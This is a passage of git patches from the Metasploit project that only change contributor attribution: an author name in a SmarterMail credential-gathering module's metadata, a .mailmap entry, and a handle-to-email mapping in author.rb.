b/modules/post/windows/gather/credentials/smartermail.rb index 9e463e5e522a..4a1ba2b2a5f9 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -24,7 +24,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'Joe Giron', # Discovery and PoC (@theonlyevil1) - 'Brendan Coles ', # Metasploit + 'bcoles', # Metasploit 'sinn3r' # shell session support ], 'References' => From a575c6d7c3198040529782d185b7d50f7b4f340e Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Fri, 11 Jan 2019 16:52:26 +0000 Subject: [PATCH 220/220] revisionism --- .mailmap | 1 - lib/msf/core/author.rb | 1 + 2 files changed, 1 insertion(+), 1 deletion(-) diff --git a/.mailmap b/.mailmap index bc68f21edcaf..7521f0532b9f 100644 --- a/.mailmap +++ b/.mailmap @@ -64,7 +64,6 @@ wwebb-r7 bannedit David Rude bcoles bcoles -bcoles Brendan Coles bokojan parzamendi-r7 brandonprry brandonprry Brandon Perry diff --git a/lib/msf/core/author.rb b/lib/msf/core/author.rb index e88ed6164c3a..5e2e38f6914d 100644 --- a/lib/msf/core/author.rb +++ b/lib/msf/core/author.rb @@ -18,6 +18,7 @@ class Msf::Author 'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com', 'aushack' => 'patrick' + 0x40.chr + 'osisecurity.com.au', 'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com', + 'bcoles' => 'bcoles' + 0x40.chr + 'gmail.com', 'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com', 'cazz' => 'bmc' + 0x40.chr + 'shmoo.com', 'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com',